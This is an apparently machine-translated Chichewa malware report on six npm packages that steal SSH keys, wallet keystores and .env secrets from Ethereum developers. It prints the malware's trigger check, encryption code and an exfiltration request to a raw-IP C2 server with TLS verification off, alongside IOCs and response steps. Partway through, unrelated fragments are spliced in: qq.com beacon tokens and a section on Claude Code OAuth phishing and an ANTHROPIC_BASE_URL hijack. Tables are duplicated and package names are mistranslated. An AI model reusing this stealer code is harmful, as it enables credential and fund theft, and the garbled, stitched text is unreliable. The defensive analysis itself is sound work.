TL; DR
Pa Meyi 6, 2026, wofalitsa m'modzi wa npm, namikazesarada010206, adayambitsa ma phukusi asanu ndi limodzi oyipa omwe akuyang'ana kwambiri dongosolo la opanga mapulogalamu a Ethereum, Solidity, ndi DeFi.
Maphukusi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsndipo web3-utils-core, adagwiritsa ntchito mayina omveka bwino omwe adapangidwa kuti aziwoneka ngati malaibulale othandizira a zida zodziwika bwino za Web3.
Mapaketi onse asanu ndi limodzi anali ndi zofanana telemetry.js fayilo. Fayiloyo inali yofanana ndi ya byte kudutsa gulu lonse, ndi SHA-256:
Pulogalamu yaumbanda sigwira ntchito panthawi yokhazikitsa. Palibe preinstall or postinstall mbedza. M'malo mwake, imayamba kugwira ntchito phukusi likalowetsedwa kudzera require().
Tsatanetsatane umenewo ndi wofunika.
Choyikacho chimadikira mpaka wopanga mapulogalamu agwiritse ntchito phukusili. Kenako chimafufuza ngati malo ogwirira ntchito akuoneka ngati malo enieni ochitira zinthu monga Ethereum / Solidity. Chimayang'ana makiyi a Alchemy kapena Infura, makiyi achinsinsi, ma mnemonics, makiyi otumizira, kapena chikwatu cha Foundry chapafupi.
Ngati wolandila akugwirizana, wakubayo amatenga makiyi achinsinsi a SSH, malo ogulitsira makiyi a Foundry / Geth / Brownie, .env* mafayilo, ndi zinthu zina zobisika. Imabisa phukusi ndi AES-256-GCM pogwiritsa ntchito mawu achinsinsi okhazikika ndikulitulutsa ku IPv4 C2 endpoint yopanda kanthu ndipo kutsimikizira kwa TLS kwatsekedwa.
Dongosolo la Xygeni's Malware Early Warning (MEW) latsimikizira kuti ma phukusi onse asanu ndi limodzi ndi oipa. Chikwama cha lipoti la npm registry takedown chikudikira.
Gulu: Maphukusi Asanu ndi Limodzi, Wofalitsa Mmodzi
Akaunti ya wofalitsa namikazesarada010206 idalumikizidwa ku adilesi ya Gmail yosatsimikizika namikazesarada010206@gmail.com.
Kampeniyi inatuluka ngati buku lofalitsidwa tsiku limodzi pa Meyi 6, 2026. Maphukusi onse asanu ndi limodzi adasinthidwa ngati 1.0.0, inalibe kudalira nthawi yogwirira ntchito, ndipo inatumiza mafayilo atatu okha:
package.json index.js telemetry.jsAnalengezanso malo omwewo osungiramo zinthu:
https://github.com/harunosakura030303-maker/evmchain-configMaphukusi atatu oyamba adagwidwa ndi ma scanner a MEW pa kufalitsidwa koyamba. Maphukusi atatu otsalawo adayikidwa chizindikiro pambuyo poti akatswiri awona mbiri ya npm ya wofalitsayo. Kamodzi ndi ofanana ndi byte. telemetry.js zatsimikiziridwa m'gulu lonselo, zinatsekedwa ngati zowononga chifukwa cha kusasinthasintha.
| phukusi | Version | Yofalitsidwa ndi npm | Tikiti ya MEW | chigamulo |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Zoipa |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Zoipa |
| zida-zofunikira-zapakati | 1.0.0 | 2026-05-06 | #51051 | Zoipa |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Zoipa, mwa kusasinthasintha |
| zida zopangira maziko | 1.0.0 | 2026-05-06 | #51071 | Zoipa, mwa kusasinthasintha |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Zoipa, mwa kusasinthasintha |
Njira yotchulira mayina ndi yosavuta koma yothandiza.
Ma phukusi awa sagwiritsa ntchito mayina enieni a pamwamba. M'malo mwake, amagwiritsa ntchito mawu ofotokozera omwe angagwiritsidwe ntchito ngati "utility" monga -core, -utilsndipo -utils-coreZimenezi zimawapangitsa kuoneka ngati malaibulale ogwirizana omwe opanga mapulogalamu angayembekezere kuwona pafupi ndi zida za Web3.
| Phukusi Loyipa | Cholinga Chovomerezeka |
|---|---|
| viem-core | viem, kasitomala wotchuka wa Ethereum TypeScript |
| viem-utils-core | viem |
| zida-zofunikira-zapakati | hardhat, malo odziwika bwino okulitsa chitukuko cha Solidity |
| evm-utils | Malo ogwiritsira ntchito zida za EVM |
| zida zopangira maziko | foundry, unyolo wa zida za Solidity |
| web3-utils-core | zothandizira za web3, othandizira a Web3.js |
Iyi ndi njira ya "phukusi lowonjezera": osati "Ine ndine phukusi lenileni," koma "Ndikuwoneka ngati wothandizira woganiza bwino pozungulira phukusi lenileni."
Kwa opanga mapulogalamu a DeFi omwe akuyenda mwachangu, zimenezo ndizokwanira kupanga chiopsezo.
Chimachitika ndi Chiyani Phukusi Likatumizidwa Kunja?
Unyolo woukira ndi waung'ono, wopangidwa mwadala, ndipo umayang'ana kwambiri pa malo opezera ndalama za crypto.
Palibe cholumikizira chokhazikitsa. M'malo mwake, phukusi lililonse lili ndi index.js zomwe zimatumiza ntchito ya stub kenako zimayika gawo la telemetry loipa.
require('./telemetry').init();Izi zikutanthauza kuti pulogalamu yaumbanda imayamba kugwira ntchito ikangolowa koyamba.
Izi ndizothandiza kwambiri kwa wowukira. Ma scanner ambiri ndi ma sandbox amayang'ana kwambiri momwe pulogalamuyo imagwirira ntchito nthawi yokhazikitsa. Phukusili limadikira mpaka litagwiritsidwa ntchito ndi wopanga mapulogalamu, script yomanga, test suite, kapena njira yoyendetsera ntchito.
Chipata Choyambitsa: Kungoyatsa Moto pa Malo Ogwirira Ntchito Omwe Alipo a Web3 Developer
Gawo lofunika kwambiri la choyikamo ndi chipata choyatsira.
Ma malware amafufuza zinthu zachilengedwe zomwe zimapezeka kwambiri pamakina opanga mapulogalamu a Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Imayang'ananso ngati Foundry ikuwoneka kuti yayikidwa:
fs.existsSync(path.join(os.homedir(), '.foundry'))Ngati palibe vuto lililonse lomwe lili loona, ntchitoyo imabwerera ndipo sichita chilichonse.
Zimenezi zimapangitsa kuti phukusi likhale chete m'malo owunikira zinthu wamba. Bokosi la mchenga lopanda Foundry, makiyi a Alchemy, makiyi a Infura, makiyi achinsinsi, kapena kukumbukira zinthu m'maganizo kungawoneke ngati kopanda vuto lililonse.
Pa pulogalamu yofananira, pulogalamu yaumbanda imadikira masekondi 60 mpaka 90 isanatengedwe:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();Kuchedwa kumeneku kumachepetsa mgwirizano woonekeratu pakati pa kulowetsa ndi kutulutsa zinthu. .unref() call imalolanso kuti njira yolandirira alendo ituluke mwachizolowezi ngati phukusili lidalowetsedwa mu script yaifupi.
Iyi si njira yosokosera ndi kuthyola. Ndi njira yoba yomwe cholinga chake ndi kupewa kuthawa pokhapokha ngati malo ogwirira ntchito ndi oyenera kuba.
Zimene Wakuba Amasonkhanitsa
Chipata choyatsira pulogalamu chikadutsa, pulogalamu yaumbanda imasonkhanitsa kuchokera ku magwero omwe ndi ofunikira kwambiri pakupanga Web3: makiyi achinsinsi, makiyi a wallet, ziyeneretso zotumizira, zinsinsi za mtambo, ma tokeni a npm, ndi kasinthidwe ka polojekiti yakomweko.
| gwero | Zimene Zasonkhanitsidwa |
|---|---|
| process.env | Kufananiza kulikonse kosinthika /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Mafayilo okhala ndi PRIVATE KEY kapena BEGIN OPENSSH, kuphatikizapo zomwe zili mufayilo yonse |
| ~/.foundry/ma keystores/* | Mafayilo a keystore a Foundry wallet |
| ~/.ethereum/keystore/* | Mafayilo a Geth wallet keystore |
| ~/.brownie/akaunti/* | Mafayilo a Brownie wallet keystore |
| ${cwd}/.env | Zomwe zili mufayilo yonse |
| ${cwd}/.env.local | Zomwe zili mufayilo yonse |
| ${cwd}/.env.production | Zomwe zili mufayilo yonse |
| ${cwd}/.env.development | Zomwe zili mufayilo yonse |
| dzina la hostname() | Metadata ya Host |
| crypto.randomUUID() | Chidziwitso cha wozunzidwa/gawo |
| Tsiku.tsopano() | Chizindikiro cha nthawi yosonkhanitsira |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comMa tokeni a ATTA ndi awa:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Sitinathe kutsimikizira ngati telemetry inali ya wogwiritsa ntchitoyo yokha kapena njira yopezera ndalama yokha. Ma tokeni a ATTA ndi ofanana m'masampulo onse awiri omwe tidawafufuza.
Gulu B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Chitsanzo cha pa Epulo 1 ndi chomwe chinali choyambirira, chomwe chinali gawo loyamba la kampeniyi.
heibai:2.1.88-claude.hk-4 idasindikizidwa ndi wuguoqiangvip28, akaunti yomwe idapangidwa pa June 7, 2025. Phukusili linadziwonetsa lokha motsutsana ndi lovomerezeka 2.1.88 Kutulutsidwa kwa Anthropic.
Sizikuvutitsa ndi CA-cert MITM. M'malo mwake, zimanamiza wogwiritsa ntchito za OAuth endpoint.
Zowonjezera zoyipa zomwe zili pamwamba pa gwero la Claude Code lomwe latuluka ndi izi:
| gwero | Zimene Zasonkhanitsidwa |
|---|---|
| process.env | Kufananiza kulikonse kosinthika /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Mafayilo okhala ndi PRIVATE KEY kapena BEGIN OPENSSH, kuphatikizapo zomwe zili mufayilo yonse |
| ~/.foundry/ma keystores/* | Mafayilo a keystore a Foundry wallet |
| ~/.ethereum/keystore/* | Mafayilo a Geth wallet keystore |
| ~/.brownie/akaunti/* | Mafayilo a Brownie wallet keystore |
| ${cwd}/.env | Zomwe zili mufayilo yonse |
| ${cwd}/.env.local | Zomwe zili mufayilo yonse |
| ${cwd}/.env.production | Zomwe zili mufayilo yonse |
| ${cwd}/.env.development | Zomwe zili mufayilo yonse |
| dzina la hostname() | Metadata ya Host |
| crypto.randomUUID() | Chidziwitso cha wozunzidwa/gawo |
| Tsiku.tsopano() | Chizindikiro cha nthawi yosonkhanitsira |
Mndandanda wa zomwe mukufuna kuzigwiritsa ntchito ndi wolunjika kwambiri. Izi si kuba kwa msakatuli wamba kapena kusaka ziphaso zambiri. Cholinga chake ndi opanga mapulogalamu omwe amapanga, kuyesa, kutumiza, kapena kugwiritsa ntchito mapulogalamu a Ethereum.
Kuphatikizidwa kwa ma keystore a Foundry, Geth, ndi Brownie ndikofunikira kwambiri. Mafayilo awa akhoza kuwonetsa mwayi wopeza ma wallets mwachindunji kapena ma identity a deployment. Ngati wowukirayo angawaphatikize ndi mawu achinsinsi, ma mnemonics, kapena zinsinsi zachilengedwe, akhoza kusuntha ndalama, kutsanzira ma deployers, kapena kusokoneza ntchito zanzeru za mgwirizano.
Kubisa Zinthu Musanayambe Kusefa
Pulogalamu yaumbanda imabisa deta yomwe yasonkhanitsidwa isanatumize.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);Mawu achinsinsi okhazikika ndi awa:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dMalipiro omaliza alembedwa ngati JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Kubisa sikupangitsa kuti pulogalamu yaumbanda ikhale yotsogola yokha. Komabe, kumapangitsa kuti kuyang'ana pa netiweki kukhale kovuta. Woteteza yemwe akuyang'ana kutuluka angaone JSON ikulipidwa, koma osati makiyi obedwa, mafayilo a chikwama, kapena .env zomwe zili mkati popanda mawu achinsinsi okhazikika komanso njira yochotsera mawu obisika.
Kutulutsa ku Raw IPv4 C2
Njira yotulutsira madzi ndi yolimba:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});Pulogalamu yaumbanda imatumiza deta kwa:
https://76.13.37.80:8443/api/v1/telemetryZinthu ziwiri zikuonekera bwino.
Choyamba, C2 ndi adilesi ya IPv4 yosasinthika osati domain. Izi zimachotsa kufunikira kolembetsa domain ndipo zimapewa kuzindikira zina pogwiritsa ntchito domain.
Chachiwiri, kutsimikizira kwa TLS kumaletsedwa ndi:
rejectUnauthorized: falseZimenezi zimathandiza kuti pulogalamu yaumbanda ilandire satifiketi iliyonse, kuphatikizapo satifiketi yodzisankhira yokha. Mwanjira ina, woukirayo amalandira njira yobisika popanda kufunikira satifiketi yovomerezeka ya anthu onse.
Palibe njira yoyeseranso komanso palibe malo obweza zolakwika. Zolakwika zimamveka mwakachetechete. Izi zimasunga phukusi chete ngati C2 ilibe intaneti kapena ngati siikupezeka.
Chifukwa Chake Kampeni Ili Ndi Yofunika?
Ma phukusi ambiri oipa a npm omwe cholinga chake ndi kutsata ma certification akuluakulu: ma npm token, makiyi a AWS, ma GitHub token, kapena .npmrc Mafayilo.
Kampeni iyi ikuchepetsa cholinga.
Imafufuza zizindikiro zosonyeza kuti makinawo ndi a Ethereum kapena Solidity developer. Kenako imakoka zinthu zofunika kwambiri m'malo amenewo: makiyi a chikwama, makiyi achinsinsi, ma mnemonics, makiyi otumizira, .env mafayilo, ndi makiyi a SSH.
Zimenezi zimapangitsa kuti kampeniyi ikhale yoopsa kwambiri kwa magulu a Web3 kuposa kuba kwa npm wamba.
Matenda opambana angayambitse:
- Ma wallet otumizira katundu
- Makiyi anzeru a contract admin
- Makiyi opereka RPC
- Zikalata zotumizira mauthenga pa intaneti pa intaneti
- zizindikiro zofalitsa za npm
- Kufikira kwa SSH kwa wopanga mapulogalamu kapena kumanga zomangamanga
- Zinsinsi za polojekiti zomwe zasungidwa mu
.envowona - Makiyi a chikwama cha Foundry, Geth, kapena Brownie
Mayina a phukusili akuwonetsanso bwino zaukadaulo wa anthu. Amalunjika ku malo opangira mapulogalamu a Web3 kudzera m'mayina odziwika bwino a zida: viem, hardhat, foundry, evmndipo web3.
Wochita seweroli safunika kusokoneza mapulojekiti enieni. Amangofunika wopanga mapulogalamu kuti ayike zomwe zikuwoneka ngati phukusi logwirizana.
Zizindikiro za Kugwirizana ndi Kuzindikira
| Maphukusi ndi Wofalitsa | |
|---|---|
| Field | mtengo |
| wofalitsa wa npm | namikazesarada010206 |
| Imelo ya wofalitsa | namikazesarada010206@gmail.com |
| Imelo yatsimikiziridwa | Ayi |
| SCM kutsimikiziridwa | Ayi |
| Chiwerengero cha mbiri | 1.0 |
| phukusi | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| Versions | Onse 1.0.0 |
| Malo osungiramo zinthu | https://github.com/harunosakura030303-maker/evmchain-config |
| Zatsimikizika kuti ndi zoipa | Maphukusi onse asanu ndi limodzi |
| Network | |
|---|---|
| Type | mtengo |
| Mapeto a C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Doko la C2 | 8443/tcp |
| Khalidwe la TLS | kukana Zosaloledwa: zabodza |
| Ndondomeko ya malipiro | {"v":2,"iv": ,"d": ,"t": } |
| Mafayilo ndi Ma Hashes | |
|---|---|
| Type | mtengo |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Kapangidwe ka phukusi | phukusi.json, index.js, telemetry.js |
| Chiwerengero cha mafayilo | 3 |
| Kukula konse koyerekeza | 3.4 KB |
Zizindikiro Zoyambitsa
Pulogalamu yaumbanda imayang'ana zinthu zachilengedwe izi:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYImayang'ananso:
~/.foundry/Njira Zoyang'aniridwa ndi Othandizira
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentZosonkhanitsa za Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iZolemba Zozindikira
Malamulo angapo amagwira ntchito imeneyi popanda kufunikira kusanthula kwathunthu khalidwe.
Choyamba, fufuzani mafayilo otsekeka kuti mupeze mayina asanu ndi limodzi a phukusi loipa:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreMachesi aliwonse mu package-lock.json, yarn.lock, pnpm-lock.yamlkapena node_modules Mbiri iyenera kuonedwa ngati chochitika chachikulu.
Chachiwiri, kuwunika njira za Node.js powerenga njira za chikwama cha kiyibodi:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/Izi sizili choncho kawirikawiri ngati phukusi lotumizidwa ngati lothandizira. Zimakhala zokayikitsa makamaka zikatsatiridwa ndi ntchito ya netiweki yotuluka.
Chachitatu, lekani kapena chenjezani pa maulumikizidwe a HTTPS ku:
76.13.37.80:8443Makamaka pamene njira yopempha ndi:
/api/v1/telemetryChachinayi, fufuzani ma phukusi a npm omwe amaphatikiza makhalidwe awa:
- Wofalitsa watsopano kapena wodziwika bwino
- Akaunti ya Gmail yosatsimikizika
- Dzina la phukusi loyandikana ndi Web3
- Palibe mbiri yakale yosungiramo zinthu zofunika
- Kapangidwe kakang'ono ka phukusi
index.jsyomwe imayika telemetry kapena fayilo yothandizira- Palibe kudalira nthawi yogwiritsira ntchito
- Zosonkhanitsa zachilengedwe zosinthasintha
- Chikwama cha ndalama cholowera mu keystore
Kachitidwe aka ndi kothandiza kwambiri kuposa IOC imodzi chifukwa phukusi lotsatira lingasinthe adilesi ya IP koma lisunge malingaliro omwewo.
Mndandanda Woyang'anira Mayankho Ogwirizana
Ngati wopanga mapulogalamu agwiritsa ntchito imodzi mwa ma phukusi asanu ndi limodzi ndipo malo ake akugwirizana ndi chipata choyatsira, ganizirani kuti malo ogwirira ntchito ali ndi vuto.
Izi zikuphatikizapo makina omwe ali ndi Foundry yoyikidwa, makiyi a Alchemy kapena Infura omwe ali m'malo ozungulira, makiyi achinsinsi, ma mnemonics, kapena makiyi otumizira.
Yankho lovomerezeka:
- Chotsani wolandila ku netiweki.
- Sungani
node_modules, mafayilo otsekeka, mbiri ya chipolopolo, ndi zolemba zoyenera za kafukufuku wa forensics. - Tembenuzani makiyi onse a SSH pansi pa
~/.ssh/. - Sinthanitsani makiyi a chikwama cha sitolo iliyonse ya makiyi pansi pa
~/.foundry,~/.ethereumndipo~/.brownie. - Sungani ndalama ku ma wallet atsopano.
- Sinthirani chinsinsi chilichonse chosungidwa mu
.env*mafayilo m'malo osungiramo zinthu omwe wopanga mapulogalamu adagwira ntchito. - Sinthanitsani zinsinsi za chilengedwe zomwe zikugwirizana ndi regex yosonkhanitsira, kuphatikiza makiyi a AWS, makiyi a npm, makiyi a deploy, makiyi a API, makiyi achinsinsi, mbewu, ndi ma mnemonics.
- Audit cloud, npm, GitHub, RPC provider, ndi blockchain activity kuyambira pomwe phukusili lidayikidwa koyamba.
- Sinthani chithunzi cha malo ogwirira ntchito musanagwiritsenso ntchito.
Zimene Oteteza Ayenera Kuchotsa
Kampeni iyi ikuwonetsa momwe kusindikiza kwa npm kukusinthira mozungulira malo opangira mapulogalamu apamwamba kwambiri.
Wochita seweroli sanafunikire kulimbikira. Sanafunikire kubisika. Sanafunikirenso kuyika nthawi yoyikira.
M'malo mwake, adadalira zinthu zitatu:
- Mayina a phukusi la Web3 lodziwika bwino
- Kuyambitsa kokha pa makina enieni opanga ma crypto
- Kuba mwachindunji mafayilo ndi zinsinsi zomwe ndizofunikira kwambiri kwa opanga Ethereum
Zimenezi zimapangitsa kuti kampeniyi ikhale yosavuta kuphonya pofufuza mozama komanso yoopsa ikafika pamalo oyenera.
Kwa magulu a Web3, phunzirolo ndi lomveka bwino: ganizirani mayina odalira ngati gawo la chitsanzo chanu chowopseza. Phukusi lomwe limawoneka ngati lothandiza lopanda vuto lingakhalebe njira yachidule yopezera ndalama zothandizira.
Zaperekedwa ku registry ya npm. Tidzasintha positi iyi akaunti ya wofalitsa ndi ma phukusi ake akachotsedwa.
